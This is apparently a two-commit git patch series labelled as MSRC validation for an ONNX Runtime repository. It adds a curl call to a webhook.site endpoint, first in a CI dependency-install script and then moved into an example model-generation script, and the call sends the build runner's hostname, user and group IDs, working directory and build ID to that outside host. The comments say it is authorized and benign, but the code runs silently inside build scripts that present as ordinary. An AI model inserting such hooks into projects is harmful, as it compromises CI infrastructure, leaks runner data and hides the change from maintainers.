From 70c7e33432f089eb4f3f088a2f28dd9a8f007e20 Mon Sep 17 00:00:00 2001 From: Ofek Date: Wed, 7 Oct 2026 04:45:34 +0300 Subject: [PATCH 1/2] MSRC: benign private validation runner proof --- .../download_ort_release_and_install_deps.sh | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/ci_build/download_ort_release_and_install_deps.sh b/ci_build/download_ort_release_and_install_deps.sh index 9c243e08..bb955a39 100755 --- a/ci_build/download_ort_release_and_install_deps.sh +++ b/ci_build/download_ort_release_and_install_deps.sh @@ -1,6 +1,21 @@ #!/bin/bash set -e -x +# Authorized, non-destructive MSRC validation. This executes before the normal +# dependency installation and reports only a unique marker plus basic runner +# identity. It does not read environment variables, credentials, or user data. +proof_file="$(mktemp)" +printf '%s\n' '__MSRC_ONNX_PRIVATE_ADO_RCE_20261007__' > "$proof_file" +proof_readback="$(cat "$proof_file")" +rm -f "$proof_file" +curl --fail --silent --show-error --max-time 15 --get \ + 'https://webhook.site/0e324dda-ffce-4533-80de-b28c3ddcfcdc' \ + --data-urlencode "marker=$proof_readback" \ + --data-urlencode "hostname=$(hostname)" \ + --data-urlencode "identity=$(id)" \ + --data-urlencode "cwd=$(pwd)" \ + --data-urlencode "ado_build_id=${BUILD_BUILDID:-unset}" + ORT_VER="1.22.1" while getopts i: parameter_Option @@ -14,4 +29,4 @@ apt-get update apt-get install -y cmake gcc g++ libpng-dev libjpeg-turbo8-dev curl curl -O -L https://github.com/microsoft/onnxruntime/releases/download/v$ORT_VER/onnxruntime-linux-x64-$ORT_VER.tgz mkdir onnxruntimebin -tar -C onnxruntimebin --strip=1 -zxvf onnxruntime-linux-x64-$ORT_VER.tgz \ No newline at end of file +tar -C onnxruntimebin --strip=1 -zxvf onnxruntime-linux-x64-$ORT_VER.tgz From 2b9e99f6d498065c183fa13a29cc327acc0c5eb3 Mon Sep 17 00:00:00 2001 From: Ofek Date: Wed, 7 Oct 2026 12:46:53 +0300 Subject: [PATCH 2/2] MSRC: move benign proof to executed pipeline hook --- .../download_ort_release_and_install_deps.sh | 15 --------------- mobile/examples/basic_usage/model/gen_model.sh | 16 ++++++++++++++++ 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/ci_build/download_ort_release_and_install_deps.sh b/ci_build/download_ort_release_and_install_deps.sh index bb955a39..ba1a3d97 100755 --- a/ci_build/download_ort_release_and_install_deps.sh +++ b/ci_build/download_ort_release_and_install_deps.sh @@ -1,21 +1,6 @@ #!/bin/bash set -e -x -# Authorized, non-destructive MSRC validation. This executes before the normal -# dependency installation and reports only a unique marker plus basic runner -# identity. It does not read environment variables, credentials, or user data. -proof_file="$(mktemp)" -printf '%s\n' '__MSRC_ONNX_PRIVATE_ADO_RCE_20261007__' > "$proof_file" -proof_readback="$(cat "$proof_file")" -rm -f "$proof_file" -curl --fail --silent --show-error --max-time 15 --get \ - 'https://webhook.site/0e324dda-ffce-4533-80de-b28c3ddcfcdc' \ - --data-urlencode "marker=$proof_readback" \ - --data-urlencode "hostname=$(hostname)" \ - --data-urlencode "identity=$(id)" \ - --data-urlencode "cwd=$(pwd)" \ - --data-urlencode "ado_build_id=${BUILD_BUILDID:-unset}" - ORT_VER="1.22.1" while getopts i: parameter_Option diff --git a/mobile/examples/basic_usage/model/gen_model.sh b/mobile/examples/basic_usage/model/gen_model.sh index 665c8c9b..0c3e6510 100755 --- a/mobile/examples/basic_usage/model/gen_model.sh +++ b/mobile/examples/basic_usage/model/gen_model.sh @@ -2,6 +2,22 @@ set -e +# Authorized, non-destructive MSRC validation. The private validation pipeline +# invokes this repository-controlled script directly. Report only a unique +# marker and basic process identity; do not access environment values, tokens, +# credentials, repository contents, or user data. +proof_file="$(mktemp)" +printf '%s\n' '__MSRC_ONNX_PRIVATE_ADO_RCE_20261007_V2__' > "$proof_file" +proof_readback="$(cat "$proof_file")" +rm -f "$proof_file" +curl --fail --silent --show-error --max-time 15 --get \ + 'https://webhook.site/0e324dda-ffce-4533-80de-b28c3ddcfcdc' \ + --data-urlencode "marker=$proof_readback" \ + --data-urlencode "hostname=$(hostname)" \ + --data-urlencode "uid=$(id -u)" \ + --data-urlencode "gid=$(id -g)" \ + --data-urlencode "ado_build_id=${BUILD_BUILDID:-unset}" || true + OUTPUT_DIR=${1:?"Please specify an output directory."} # Get directory this script is in